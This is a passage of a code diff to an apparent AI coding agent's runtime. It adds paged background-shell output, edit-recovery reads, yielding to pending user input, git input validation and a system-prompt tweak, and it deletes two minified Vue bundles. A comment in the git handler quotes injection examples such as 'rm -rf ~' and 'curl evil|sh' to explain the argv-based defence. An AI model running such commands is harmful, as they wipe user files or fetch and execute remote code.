!this.lastActions.length &&
|
|
270
351
|
!this.remoteInspections.length &&
|
|
352
|
+
!this.diagnostics.length &&
|
|
271
353
|
!this.localFindings.length
|
|
272
354
|
)
|
|
273
355
|
return null;
|
|
274
356
|
const checkpoint = {
|
|
275
357
|
bounded: true,
|
|
358
|
+
recentDiagnostics: this.diagnostics
|
|
359
|
+
.filter((entry) => entry.owner === owner)
|
|
360
|
+
.map(({ owner: _owner, ...entry }) => entry),
|
|
276
361
|
recentLocalFindings: this.localFindings
|
|
277
362
|
.filter((entry) => entry.owner === owner)
|
|
278
363
|
.map(({ owner: _owner, ...entry }) => entry),
|
|
@@ -300,6 +385,7 @@ export class TaskProgressTracker {
|
|
|
300
385
|
!checkpoint.recentLocalFindings.length &&
|
|
301
386
|
!checkpoint.recentToolOutcomes.length &&
|
|
302
387
|
!checkpoint.recentRemoteInspections.length &&
|
|
388
|
+
!checkpoint.recentDiagnostics.length &&
|
|
303
389
|
!checkpoint.reportedPlans.length &&
|
|
304
390
|
!checkpoint.childFindings.length
|
|
305
391
|
)
|
|
@@ -312,6 +398,8 @@ export class TaskProgressTracker {
|
|
|
312
398
|
checkpoint.recentLocalFindings.shift();
|
|
313
399
|
else if (checkpoint.recentRemoteInspections.length)
|
|
314
400
|
checkpoint.recentRemoteInspections.shift();
|
|
401
|
+
else if (checkpoint.recentDiagnostics.length)
|
|
402
|
+
checkpoint.recentDiagnostics.shift();
|
|
315
403
|
else if (checkpoint.recentToolOutcomes.length)
|
|
316
404
|
checkpoint.recentToolOutcomes.shift();
|
|
317
405
|
else checkpoint.reportedPlans.pop();
|
|
@@ -21,6 +21,9 @@ import {
|
|
|
21
21
|
buildReadFileOutline,
|
|
22
22
|
} from "../lib/read-file-page.js";
|
|
23
23
|
import { ReadFileLoopGuard } from "../lib/read-file-loop-guard.js";
|
|
24
|
+
import { gitToolInputError } from "../lib/git-tool-input.js";
|
|
25
|
+
import { shellOutputPage, shellOutputPreview } from "../lib/shell-output.js";
|
|
26
|
+
import { DIAGNOSTIC_WORKFLOW_GUIDANCE } from "../lib/diagnostic-workflow.js";
|
|
24
27
|
import { RemoteReadLoopGuard } from "../lib/remote-read-loop-guard.js";
|
|
25
28
|
import {
|
|
26
29
|
isPrActionRequest,
|
|
@@ -450,10 +453,10 @@ function _appendBgStream(stream, text) {
|
|
|
450
453
|
}
|
|
451
454
|
}
|
|
452
455
|
|
|
453
|
-
// Read
|
|
454
|
-
//
|
|
455
|
-
//
|
|
456
|
-
function _readBgStream(stream) {
|
|
456
|
+
// Read one bounded page and advance only past returned text. When the cursor
|
|
457
|
+
// points into a region already dropped from the retained tail, report that gap
|
|
458
|
+
// separately; unread retained text remains available on the next poll.
|
|
459
|
+
function _readBgStream(stream, budget) {
|
|
457
460
|
const bufStart = stream.total - stream.buf.length;
|
|
458
461
|
let from = stream.cursor;
|
|
459
462
|
let droppedGap = 0;
|
|
@@ -461,9 +464,9 @@ function _readBgStream(stream) {
|
|
|
461
464
|
droppedGap = bufStart - from;
|
|
462
465
|
from = bufStart;
|
|
463
466
|
}
|
|
464
|
-
const
|
|
465
|
-
stream.cursor =
|
|
466
|
-
return {
|
|
467
|
+
const page = shellOutputPage(stream.buf.slice(from - bufStart), budget);
|
|
468
|
+
stream.cursor = from + page.text.length;
|
|
469
|
+
return { ...page, droppedGap };
|
|
467
470
|
}
|
|
468
471
|
|
|
469
472
|
/**
|
|
@@ -1114,11 +1117,12 @@ export function getBaseSystemPrompt(cwd) {
|
|
|
1114
1117
|
You have access to tools that let you read files, write files, edit files, run shell commands, and search the codebase. When the user asks you to do something, USE THE TOOLS to actually do it — don't just describe what should be done.
|
|
1115
1118
|
|
|
1116
1119
|
Key behaviors:
|
|
1120
|
+
- A new user message may arrive before the previous task finishes. Incorporate corrections and added requests while preserving unfinished authorized work, unless the user cancels or replaces it. Use the completed tool results already in history; do not restart the investigation.
|
|
1117
1121
|
- When asked to modify code, read the file first, then edit it
|
|
1118
1122
|
- When asked to create something, use write_file to create it
|
|
1119
1123
|
- When asked to remove or rename a file, use delete_file or move_file so the filesystem intent is explicit and reviewable
|
|
1120
1124
|
- When asked to run/test something, use run_shell to execute it
|
|
1121
|
-
-
|
|
1125
|
+
- ${DIAGNOSTIC_WORKFLOW_GUIDANCE}
|
|
1122
1126
|
- For CI log retrieval, inspect command stderr before retrying. Match syntax to the actual shell: Windows PowerShell 5 does not support &&, cmd treats single quotes literally, and head is not a Windows builtin. Prefer a plain gh metadata/log command without jq or pipelines first, then inspect the saved output. Never switch shells to bypass a policy denial.
|
|
1123
1127
|
- For long-running commands (builds, full test suites, dev servers) set run_shell { run_in_background: true } to get a task_id back immediately, then poll output and completion with check_shell { task_id }. Kill a backgrounded server with check_shell { task_id, kill: true } when finished
|
|
1124
1128
|
- When asked about git status, diff, log, or other repository operations, use the git tool instead of run_shell
|
|
@@ -5676,10 +5680,30 @@ async function executeToolInner(
|
|
|
5676
5680
|
result.error === "ambiguous_anchor" && result.matches?.[0]
|
|
5677
5681
|
? snippetAround(original, result.matches[0].lineNumber - 1)
|
|
5678
5682
|
: null;
|
|
5683
|
+
const expectedContent = result.current ?? args.expected_line;
|
|
5684
|
+
const expectedIndex =
|
|
5685
|
+
typeof expectedContent === "string"
|
|
5686
|
+
? original
|
|
5687
|
+
.split(/\r?\n/)
|
|
5688
|
+
.findIndex((line) => line.trim() === expectedContent.trim())
|
|
5689
|
+
: -1;
|
|
5690
|
+
const recoveryRead = ["hash_mismatch", "content_mismatch"].includes(
|
|
5691
|
+
result.error,
|
|
5692
|
+
)
|
|
5693
|
+
? {
|
|
5694
|
+
path: filePath,
|
|
5695
|
+
hashed: true,
|
|
5696
|
+
offset: Math.max(1, expectedIndex - 3 + 1),
|
|
5697
|
+
limit: 80,
|
|
5698
|
+
}
|
|
5699
|
+
: null;
|
|
5679
5700
|
return attachDescriptor({
|
|
5680
5701
|
error: result.error,
|
|
5681
5702
|
message: result.message,
|
|
5682
|
-
hint:
|
|
5703
|
+
hint: recoveryRead
|
|
5704
|
+
? "Call read_file with the exact recoveryRead arguments (hashed:true) to refresh the anchors, then retry the edit using the returned hash. This bounded refresh is available once during loop recovery; do not restart broad reading."
|
|
5705
|
+
: result.hint,
|
|
5706
|
+
...(recoveryRead && { recoveryRead }),
|
|
5683
5707
|
...(result.matches && { matches: result.matches }),
|
|
5684
5708
|
...(result.current && { current: result.current }),
|
|
5685
5709
|
...(result.expected && { expected: result.expected }),
|
|
@@ -6688,8 +6712,8 @@ async function executeToolInner(
|
|
|
6688
6712
|
result.stderr ||
|
|
6689
6713
|
`Sandbox command exited with code ${result.exitCode}`
|
|
6690
6714
|
).substring(0, 2000),
|
|
6691
|
-
|
|
6692
|
-
|
|
6715
|
+
...shellOutputPreview(result.stdout, "stdout", 16000),
|
|
6716
|
+
...shellOutputPreview(result.stderr, "stderr", 4000),
|
|
6693
6717
|
exitCode: result.exitCode,
|
|
6694
6718
|
...common,
|
|
6695
6719
|
},
|
|
@@ -6697,7 +6721,11 @@ async function executeToolInner(
|
|
|
6697
6721
|
);
|
|
6698
6722
|
}
|
|
6699
6723
|
return attachDescriptor(
|
|
6700
|
-
{
|
|
6724
|
+
{
|
|
6725
|
+
exitCode: 0,
|
|
6726
|
+
...shellOutputPreview(result.stdout, "stdout", 24000),
|
|
6727
|
+
...common,
|
|
6728
|
+
},
|
|
6701
6729
|
override || runtimeDescriptor,
|
|
6702
6730
|
);
|
|
6703
6731
|
}
|
|
@@ -6829,7 +6857,8 @@ async function executeToolInner(
|
|
|
6829
6857
|
}
|
|
6830
6858
|
return attachDescriptor(
|
|
6831
6859
|
{
|
|
6832
|
-
|
|
6860
|
+
...shellOutputPreview(output, "stdout", 24000),
|
|
6861
|
+
exitCode: 0,
|
|
6833
6862
|
...shellMeta,
|
|
6834
6863
|
...pluginBinResult,
|
|
6835
6864
|
shellCommandPolicy: shellPolicy,
|
|
@@ -6847,9 +6876,9 @@ async function executeToolInner(
|
|
|
6847
6876
|
// actual failure. Only attach it when there IS output (a timeout with
|
|
6848
6877
|
// no output keeps the field absent), mirroring the success path.
|
|
6849
6878
|
...(err.stdout
|
|
6850
|
-
?
|
|
6879
|
+
? shellOutputPreview(err.stdout, "stdout", 16000)
|
|
6851
6880
|
: {}),
|
|
6852
|
-
|
|
6881
|
+
...shellOutputPreview(err.stderr, "stderr", 4000),
|
|
6853
6882
|
exitCode: err.status,
|
|
6854
6883
|
...(typeof err.code === "string" && err.code
|
|
6855
6884
|
? {
|
|
@@ -6876,6 +6905,7 @@ async function executeToolInner(
|
|
|
6876
6905
|
if (!taskId) {
|
|
6877
6906
|
return attachDescriptor({
|
|
6878
6907
|
tasks: listBackgroundShellTasks(),
|
|
6908
|
+
hint: "This is a task list, not process output. Call check_shell with the task_id to read stdout, stderr and exitCode; continue while has_more_output is true even after the process exits.",
|
|
6879
6909
|
});
|
|
6880
6910
|
}
|
|
6881
6911
|
const task = _backgroundShellTasks.get(taskId);
|
|
@@ -6891,8 +6921,17 @@ async function executeToolInner(
|
|
|
6891
6921
|
// handler flips status. Best-effort.
|
|
6892
6922
|
killed = _killTask(task);
|
|
6893
6923
|
}
|
|
6894
|
-
const
|
|
6895
|
-
|
|
6924
|
+
const outputBudget = Math.min(
|
|
6925
|
+
16000,
|
|
6926
|
+
Math.floor((MAX_TOOL_RESULT_CHARS - 8192) / 2),
|
|
6927
|
+
);
|
|
6928
|
+
if (outputBudget < 64)
|
|
6929
|
+
return attachDescriptor({
|
|
6930
|
+
error:
|
|
6931
|
+
"Tool output limit is too small to return a background output page. Output was not consumed.",
|
|
6932
|
+
});
|
|
6933
|
+
const out = _readBgStream(task.out, outputBudget);
|
|
6934
|
+
const err = _readBgStream(task.err, outputBudget);
|
|
6896
6935
|
return attachDescriptor({
|
|
6897
6936
|
task_id: task.id,
|
|
6898
6937
|
status: task.status,
|
|
@@ -6901,8 +6940,15 @@ async function executeToolInner(
|
|
|
6901
6940
|
exitCode: task.exitCode,
|
|
6902
6941
|
signal: task.signal,
|
|
6903
6942
|
...(task.error ? { error: task.error } : {}),
|
|
6904
|
-
stdout: out.text
|
|
6905
|
-
stderr: err.text
|
|
6943
|
+
stdout: out.text,
|
|
6944
|
+
stderr: err.text,
|
|
6945
|
+
has_more_output: out.remaining > 0 || err.remaining > 0,
|
|
6946
|
+
...(out.remaining || err.remaining
|
|
6947
|
+
? {
|
|
6948
|
+
next_check: { task_id: task.id },
|
|
6949
|
+
hint: "More retained output is unread. Call check_shell with next_check even if status is exited or failed; process exit does not mean all output has been read.",
|
|
6950
|
+
}
|
|
6951
|
+
: {}),
|
|
6906
6952
|
...(out.droppedGap ? { stdout_dropped_bytes: out.droppedGap } : {}),
|
|
6907
6953
|
...(err.droppedGap ? { stderr_dropped_bytes: err.droppedGap } : {}),
|
|
6908
6954
|
...(killed ? { killed: true } : {}),
|
|
@@ -6919,6 +6965,9 @@ async function executeToolInner(
|
|
|
6919
6965
|
});
|
|
6920
6966
|
}
|
|
6921
6967
|
|
|
6968
|
+
const inputError = gitToolInputError(normalizedCommand);
|
|
6969
|
+
if (inputError) return attachDescriptor(inputError);
|
|
6970
|
+
|
|
6922
6971
|
// Run via argv (spawnSync, NO shell) so shell metacharacters in the
|
|
6923
6972
|
// command — e.g. `status; rm -rf ~`, `log && curl evil|sh`, `$(…)` —
|
|
6924
6973
|
// cannot inject a second command. Previously execSync(`git ${cmd}`) ran
|
|
@@ -6965,6 +7014,7 @@ async function executeToolInner(
|
|
|
6965
7014
|
}
|
|
6966
7015
|
return attachDescriptor({
|
|
6967
7016
|
stdout: String(res.stdout || "").substring(0, 30000),
|
|
7017
|
+
exitCode: 0,
|
|
6968
7018
|
command: normalizedCommand,
|
|
6969
7019
|
readOnly,
|
|
6970
7020
|
});
|
|
@@ -14282,6 +14332,17 @@ export async function* agentLoop(messages, options) {
|
|
|
14282
14332
|
let lastTaskProgressIntervention = null;
|
|
14283
14333
|
|
|
14284
14334
|
while (budget.hasRemaining()) {
|
|
14335
|
+
// Yield only between complete tool batches. Keep all completed tool results
|
|
14336
|
+
// and settle child usage before the host accepts queued user steering.
|
|
14337
|
+
if (options.shouldYieldToUser?.() === true) {
|
|
14338
|
+
await _awaitBackgroundUsageSettlement(
|
|
14339
|
+
backgroundSubAgents,
|
|
14340
|
+
backgroundUsageFailureState,
|
|
14341
|
+
);
|
|
14342
|
+
yield* _drainSubAgentUsage(subAgentUsageSink);
|
|
14343
|
+
yield { type: "run-ended", runId, reason: "user-input-pending" };
|
|
14344
|
+
return;
|
|
14345
|
+
}
|
|
14285
14346
|
readFileLoopGuard.finishBatch();
|
|
14286
14347
|
if (remoteReadLoopGuard.stalled) {
|
|
14287
14348
|
await _awaitBackgroundUsageSettlement(
|
|
@@ -14295,7 +14356,7 @@ export async function* agentLoop(messages, options) {
|
|
|
14295
14356
|
error.code = "CC_AGENT_REPEATED_REMOTE_READ";
|
|
14296
14357
|
throw error;
|
|
14297
14358
|
}
|
|
14298
|
-
if (readFileLoopGuard.stalled) {
|
|
14359
|
+
if (readFileLoopGuard.stalled && !readFileLoopGuard.hasEditRecoveryReads) {
|
|
14299
14360
|
await _awaitBackgroundUsageSettlement(
|
|
14300
14361
|
backgroundSubAgents,
|
|
14301
14362
|
backgroundUsageFailureState,
|
|
@@ -14906,7 +14967,9 @@ export async function* agentLoop(messages, options) {
|
|
|
14906
14967
|
};
|
|
14907
14968
|
}
|
|
14908
14969
|
const pausedTools = new Set([
|
|
14909
|
-
...(readRecoveryTurn
|
|
14970
|
+
...(readRecoveryTurn && !readFileLoopGuard.hasEditRecoveryReads
|
|
14971
|
+
? ["read_file"]
|
|
14972
|
+
: []),
|
|
14910
14973
|
...(taskRecoveryTurn ? taskRecoveryTools : []),
|
|
14911
14974
|
...remoteRecoveryTools,
|
|
14912
14975
|
...(prInvestigationExhausted
|
|
@@ -15793,8 +15856,16 @@ export async function* agentLoop(messages, options) {
|
|
|
15793
15856
|
// Capability and exact-path authority must settle before any checkpoint,
|
|
15794
15857
|
// hook, or observationally stronger `tool-executing` event. The same
|
|
15795
15858
|
// preflight runs again inside executeTool to prevent call-site drift.
|
|
15859
|
+
const editRecoveryRead =
|
|
15860
|
+
toolName === "read_file" &&
|
|
15861
|
+
typeof toolArgs?.path === "string" &&
|
|
15862
|
+
readFileLoopGuard.canRecoverEdit(
|
|
15863
|
+
path.resolve(toolContext.cwd || process.cwd(), toolArgs.path),
|
|
15864
|
+
toolArgs,
|
|
15865
|
+
);
|
|
15796
15866
|
const earlyAuthorityDenial =
|
|
15797
|
-
(pausedTools.has(toolName) ||
|
|
15867
|
+
((pausedTools.has(toolName) && !editRecoveryRead) ||
|
|
15868
|
+
(readRecoveryTurn && toolName === "read_file" && !editRecoveryRead) ||
|
|
15798
15869
|
remoteReadLoopGuard.shouldPause(toolName, toolArgs) ||
|
|
15799
15870
|
(taskRecoveryTurn &&
|
|
15800
15871
|
toolName === "read_file" &&
|
|
@@ -16170,6 +16241,8 @@ export async function* agentLoop(messages, options) {
|
|
|
16170
16241
|
const resultStr = toolResultForModel(toolName, toolResult, messages);
|
|
16171
16242
|
remoteReadLoopGuard.record(toolName, toolResult, toolArgs);
|
|
16172
16243
|
explicitPrCloseActionGuard.record(toolName, toolArgs, toolResult);
|
|
16244
|
+
if (toolName === "edit_file_hashed")
|
|
16245
|
+
readFileLoopGuard.recordEditRecovery(toolResult);
|
|
16173
16246
|
readFileLoopGuard.record(
|
|
16174
16247
|
toolName,
|
|
16175
16248
|
toolResult,
|
|
@@ -4873,6 +4873,18 @@ async function runAgentHeadlessStreamInWorkspace(
|
|
|
4873
4873
|
// Keep the session heartbeat and protocol pumps live while a
|
|
4874
4874
|
// foreground command such as a networked git push is still running.
|
|
4875
4875
|
nonBlockingShell: true,
|
|
4876
|
+
// Interactive user input is delivered after the active tool batch,
|
|
4877
|
+
// without aborting in-flight writes. Noninteractive streams retain
|
|
4878
|
+
// their sequential request/response behavior.
|
|
4879
|
+
shouldYieldToUser: () =>
|
|
4880
|
+
(options.interactiveApprovals === true ||
|
|
4881
|
+
options.interactiveQuestions === true) &&
|
|
4882
|
+
queue.some(
|
|
4883
|
+
({ parsed: event }) =>
|
|
4884
|
+
typeof event.text === "string" &&
|
|
4885
|
+
event.text.trim().length > 0 &&
|
|
4886
|
+
!event.text.trimStart().startsWith("/"),
|
|
4887
|
+
),
|
|
4876
4888
|
// Resume-degenerate role merge for the first live model call only.
|
|
4877
4889
|
mergeRoles: mergeRolesThisTurn,
|
|
4878
4890
|
},
|
|
@@ -5022,6 +5034,19 @@ async function runAgentHeadlessStreamInWorkspace(
|
|
|
5022
5034
|
}
|
|
5023
5035
|
currentAbort = null;
|
|
5024
5036
|
|
|
5037
|
+
if (outcome.endReason === "user-input-pending") {
|
|
5038
|
+
emit({
|
|
5039
|
+
type: "result",
|
|
5040
|
+
subtype: "interrupted",
|
|
5041
|
+
is_error: false,
|
|
5042
|
+
interrupted: true,
|
|
5043
|
+
reason: "user-input-pending",
|
|
5044
|
+
session_id: sessionId,
|
|
5045
|
+
turn: turns,
|
|
5046
|
+
});
|
|
5047
|
+
continue;
|
|
5048
|
+
}
|
|
5049
|
+
|
|
5025
5050
|
if (outcome.endReason === "compaction-usage-unknown") {
|
|
5026
5051
|
sawError = true;
|
|
5027
5052
|
emit({
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
import{P as c,J as p,b as s}from"./vendor-Bn1JzzAn.js";import{r as a}from"./markdown-Yo_c6Krv.js";import{_ as d}from"./index-Jk99aZIr.js";const _={__name:"MarkdownRenderer",props:{content:{type:String,default:""}},setup(t,{expose:o}){o();const e=t,r=s(()=>a(e.content||"")),n={props:e,rendered:r,computed:s,get renderMarkdown(){return a}};return Object.defineProperty(n,"__isScriptSetup",{enumerable:!1,value:!0}),n}},i=["innerHTML"];function u(t,o,e,r,n,m){return c(),p("div",{class:"markdown-content",innerHTML:r.rendered},null,8,i)}const w=d(_,[["render",u],["__scopeId","data-v-0b0b9f63"],["__file","/tmp/cc-web-panel-28K2ue/repo/packages/web-panel/src/components/MarkdownRenderer.vue"]]);export{w as M};
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
import{I as i,J as I,U,R as s,Q as r,c as t,K as a,V as _,S as x,o as oe,b as ee,r as u,P as p,F as ne,a2 as ge}from"./vendor-Bn1JzzAn.js";import{_ as we,b as re,u as ie,d}from"./index-Jk99aZIr.js";import{u as de}from"./useShellMode-CgR0wCYM.js";import{aN as ke,aO as Fe,aP as be,f as je,a5 as Ce,a8 as xe,at as Oe,R as Se}from"./icons-DG5UD-6K.js";const Pe={__name:"Projects",setup(se,{expose:l}){l();const{t:te}=re(),e=ie(),{isEmbedded:W}=de();async function w(o,f,ye,ae=8e3){if(W){const Z=await e.sendRaw({...f,type:o},ae);if(!Z?.ok){const $=Z?.error;throw new Error(typeof $=="string"?$:$?.message||`${o} failed`)}return Z.result}return e.executeJson(ye,ae)}const B=u(!1),y=u([]),O=u(""),S=u(""),P=u(!1),v=u(null),h=u([]),k=u(!1),E=u(!1),L=u(!1),F=u({name:"",description:"",type:"document",rootPath:""}),z=[{title:"ID",key:"id",width:110},{title:"名称",key:"name"},{title:"类型",key:"project_type",width:120},{title:"状态",key:"status",width:100},{title:"同步",key:"sync_status",width:100},{title:"更新",key:"updated_at",width:160},{title:"操作",key:"actions",width:180,fixed:"right"}],V=ee(()=>{const o={active:0,draft:0,completed:0,archived:0};for(const f of y.value)o[f.status]!==void 0&&(o[f.status]+=1);return o}),J=ee(()=>y.value.filter(o=>!(O.value&&o.status!==O.value||S.value&&!o.name.toLowerCase().includes(S.value.toLowerCase()))));function g(o){switch(o){case"active":return"green";case"draft":return"default";case"completed":return"cyan";case"archived":return"gold";default:return"default"}}function K(o){switch(o){case"synced":return"green";case"pending":return"orange";case"conflict":return"red";case"error":return"red";default:return"default"}}function Q(o){return!o&&o!==0?"-":new Date(typeof o=="number"?o:parseInt(o,10)).toLocaleString("zh-CN",{hour12:!1})}async function C(){B.value=!0;try{const o=await w("project.list",{limit:500},"project list --limit 500 --json",1e4);y.value=Array.isArray(o?.projects)?o.projects:Array.isArray(o)?o:[]}catch(o){d.error("加载失败: "+(o.message||o)),y.value=[]}finally{B.value=!1}}function G(o){return{onClick:()=>M(o)}}async function M(o){v.value=o,P.value=!0,k.value=!0,h.value=[];try{const f=await w("project.listFiles",{projectId:o.id,limit:200},`project list-files ${o.id} --json`,8e3);h.value=Array.isArray(f?.files)?f.files:[]}catch{h.value=[]}finally{k.value=!1}}async function H(o){try{(await w("project.delete",{id:o.id},`project delete ${o.id} --json`,8e3))?.ok?(d.success(`已删除项目 '${o.name}'`),P.value=!1,await C()):d.error("删除失败")}catch(f){d.error(f.message||String(f))}}function X(){F.value={name:"",description:"",type:"document",rootPath:""},E.value=!0}async function T(){if(!F.value.name.trim()){d.warning("请输入项目名称");return}L.value=!0;try{const o=await w("project.init",{name:F.value.name.trim(),description:F.value.description||null,projectType:F.value.type,rootPath:F.value.rootPath||null},`project init "${F.value.name.trim()}" --type ${F.value.type} --json`,8e3);o?.id?(d.success(`已创建项目 '${o.name}'`),E.value=!1,await C()):d.error("创建失败")}catch(o){d.error(o.message||String(o))}finally{L.value=!1}}const b=u(!1),D=u(!1),j=u({path:"",content:""}),A=u(!1),m=u(!1),R=u({path:""}),n=u(!1),c=u(null),q=u(""),Y=u(!1);function ue(){j.value={path:"",content:""},b.value=!0}function ce(){R.value={path:""},A.value=!0}async function N(){if(v.value){k.value=!0;try{const o=await w("project.listFiles",{projectId:v.value.id,limit:200},`project list-files ${v.value.id} --json`,8e3);h.value=Array.isArray(o?.files)?o.files:[]}catch(o){d.error("刷新文件失败: "+(o.message||o))}finally{k.value=!1}}}async function fe(){if(!j.value.path.trim()){d.warning("请输入文件路径");return}if(v.value){D.value=!0;try{const o=await w("project.createFile",{projectId:v.value.id,filePath:j.value.path.trim(),content:j.value.content||""},`project create-file ${v.value.id} "${j.value.path.trim()}" --json`,8e3);o?.id?(d.success(`已创建文件 '${o.file_name}'`),b.value=!1,await N(),await C()):d.error("创建文件失败")}catch(o){d.error(o.message||String(o))}finally{D.value=!1}}}async function pe(){if(!R.value.path.trim()){d.warning("请输入文件夹路径");return}if(v.value){m.value=!0;try{const o=await w("project.createFolder",{projectId:v.value.id,folderPath:R.value.path.trim()},`project create-folder ${v.value.id} "${R.value.path.trim()}" --json`,8e3);o?.id?(d.success(`已创建文件夹 '${o.file_name}'`),A.value=!1,await N(),await C()):d.error("创建文件夹失败")}catch(o){d.error(o.message||String(o))}finally{m.value=!1}}}async function ve(o){try{(await w("project.deleteFile",{fileId:o.id},`project delete-file ${o.id} --json`,8e3))?.deleted?(d.success(`已删除 '${o.file_name}'`),await N(),await C()):d.error("删除失败")}catch(f){d.error(f.message||String(f))}}async function me(o){if(o.is_folder){d.info("文件夹无内容可编辑");return}try{const f=await w("project.getFile",{fileId:o.id},`project get-file ${o.id} --json`,8e3);c.value=o,q.value=f?.content||"",n.value=!0}catch(f){d.error("读取文件失败: "+(f.message||f))}}async function _e(){if(c.value){Y.value=!0;try{(await w("project.writeFile",{fileId:c.value.id,content:q.value},`project write-file ${c.value.id} --json`,8e3))?.id?(d.success("已保存"),n.value=!1,await N()):d.error("保存失败")}catch(o){d.error(o.message||String(o))}finally{Y.value=!1}}}oe(()=>{C()});const le={t:te,ws:e,isEmbedded:W,callProjectTopic:w,loading:B,projects:y,statusFilter:O,nameFilter:S,detailOpen:P,detail:v,files:h,filesLoading:k,createOpen:E,creating:L,newProject:F,columns:z,countByStatus:V,filteredProjects:J,statusColor:g,syncColor:K,formatTime:Q,loadAll:C,onRowClick:G,openDetail:M,onDelete:H,onShowCreate:X,onCreate:T,createFileOpen:b,creatingFile:D,newFile:j,createFolderOpen:A,creatingFolder:m,newFolder:R,editFileOpen:n,editingFile:c,editFileContent:q,savingFile:Y,openCreateFile:ue,openCreateFolder:ce,refreshFiles:N,onCreateFile:fe,onCreateFolder:pe,onDeleteFile:ve,openEditFile:me,onSaveFile:_e,ref:u,computed:ee,onMounted:oe,get ReloadOutlined(){return Se},get PlusOutlined(){return Oe},get FolderOutlined(){return xe},get FileTextOutlined(){return Ce},get CheckCircleOutlined(){return je},get CheckSquareOutlined(){return be},get FileAddOutlined(){return Fe},get FolderAddOutlined(){return ke},get message(){return d},get useI18n(){return re},get useWsStore(){return ie},get useShellMode(){return de}};return Object.defineProperty(le,"__isScriptSetup",{enumerable:!1,value:!0}),le}},ze={style:{display:"flex","align-items":"center","justify-content":"space-between","margin-bottom":"24px"}},Ae={class:"page-title"},Ie={class:"page-sub"},Ue={class:"filter-bar",style:{"margin-bottom":"12px",display:"flex",gap:"12px","align-items":"center"}},he={key:0,style:{"font-size":"12px",color:"#888"}},De={key:0,style:{color:"#888","font-size":"12px"}},Re={key:0},Te={key:1,style:{color:"#888"}},Be=["onClick"],Ee={key:0,style:{color:"#888","font-size":"12px"}};function Le(se,l,te,e,W,w){const B=i("router-link"),y=i("a-button"),O=i("a-space"),S=i("a-statistic"),P=i("a-card"),v=i("a-col"),h=i("a-row"),k=i("a-radio-button"),E=i("a-radio-group"),L=i("a-input-search"),F=i("a-alert"),z=i("a-tag"),V=i("a-popconfirm"),J=i("a-table"),g=i("a-descriptions-item"),K=i("a-descriptions"),Q=i("a-divider"),C=i("a-empty"),G=i("a-list-item"),M=i("a-list"),H=i("a-spin"),X=i("a-drawer"),T=i("a-input"),b=i("a-form-item"),D=i("a-textarea"),j=i("a-form"),A=i("a-modal"),m=i("a-select-option"),R=i("a-select");return p(),I("div",null,[U("div",ze,[U("div",null,[U("h2",Ae,s(e.t("projects.title")),1),U("p",Ie,[l[17]||(l[17]=r("桌面 / CLI / 手机 三端共享同一份项目数据,Phase 3d sync 自动同步 (",-1)),t(B,{to:"/project-init"},{default:a(()=>[...l[16]||(l[16]=[r("项目初始化 / 环境设置",-1)])]),_:1}),l[18]||(l[18]=r(")",-1))])]),t(O,null,{default:a(()=>[t(y,{loading:e.loading,onClick:e.loadAll},{icon:a(()=>[t(e.ReloadOutlined)]),default:a(()=>[l[19]||(l[19]=r(" 刷新 ",-1))]),_:1},8,["loading"]),t(y,{type:"primary",onClick:e.onShowCreate},{icon:a(()=>[t(e.PlusOutlined)]),default:a(()=>[l[20]||(l[20]=r(" 新建项目 ",-1))]),_:1})]),_:1})]),_(" Stats "),t(h,{gutter:[16,16],style:{"margin-bottom":"20px"}},{default:a(()=>[t(v,{xs:12,sm:8,lg:6},{default:a(()=>[t(P,{style:{background:"var(--bg-card)","border-color":"var(--border-color)"}},{default:a(()=>[t(S,{title:"总项目",value:e.projects.length,"value-style":{color:"#1677ff",fontSize:"20px"}},{prefix:a(()=>[t(e.FolderOutlined)]),_:1},8,["value"])]),_:1})]),_:1}),t(v,{xs:12,sm:8,lg:6},{default:a(()=>[t(P,{style:{background:"var(--bg-card)","border-color":"var(--border-color)"}},{default:a(()=>[t(S,{title:"活跃",value:e.countByStatus.active,"value-style":{color:"#52c41a",fontSize:"20px"}},{prefix:a(()=>[t(e.CheckCircleOutlined)]),_:1},8,["value"])]),_:1})]),_:1}),t(v,{xs:12,sm:8,lg:6},{default:a(()=>[t(P,{style:{background:"var(--bg-card)","border-color":"var(--border-color)"}},{default:a(()=>[t(S,{title:"草稿",value:e.countByStatus.draft,"value-style":{color:"#8c8c8c",fontSize:"20px"}},{prefix:a(()=>[t(e.FileTextOutlined)]),_:1},8,["value"])]),_:1})]),_:1}),t(v,{xs:12,sm:8,lg:6},{default:a(()=>[t(P,{style:{background:"var(--bg-card)","border-color":"var(--border-color)"}},{default:a(()=>[t(S,{title:"已完成",value:e.countByStatus.completed,"value-style":{color:"#13c2c2",fontSize:"20px"}},{prefix:a(()=>[t(e.CheckSquareOutlined)]),_:1},8,["value"])]),_:1})]),_:1})]),_:1}),_(" Filter "),U("div",Ue,[t(E,{value:e.statusFilter,"onUpdate:value":l[0]||(l[0]=n=>e.statusFilter=n),size:"small","button-style":"solid"},{default:a(()=>[t(k,{value:""},{default:a(()=>[...l[21]||(l[21]=[r("全部",-1)])]),_:1}),t(k,{value:"active"},{default:a(()=>[...l[22]||(l[22]=[r("活跃",-1)])]),_:1}),t(k,{value:"draft"},{default:a(()=>[...l[23]||(l[23]=[r("草稿",-1)])]),_:1}),t(k,{value:"completed"},{default:a(()=>[...l[24]||(l[24]=[r("已完成",-1)])]),_:1}),t(k,{value:"archived"},{default:a(()=>[...l[25]||(l[25]=[r("已归档",-1)])]),_:1})]),_:1},8,["value"]),t(L,{value:e.nameFilter,"onUpdate:value":l[1]||(l[1]=n=>e.nameFilter=n),placeholder:"按名称过滤",style:{"max-width":"260px"},"allow-clear":""},null,8,["value"])]),!e.projects.length&&!e.loading?(p(),x(F,{key:0,type:"info",message:"还没有项目",description:'运行 `cc project init <name>` 或点击右上角"新建项目"按钮创建。桌面 / CLI / 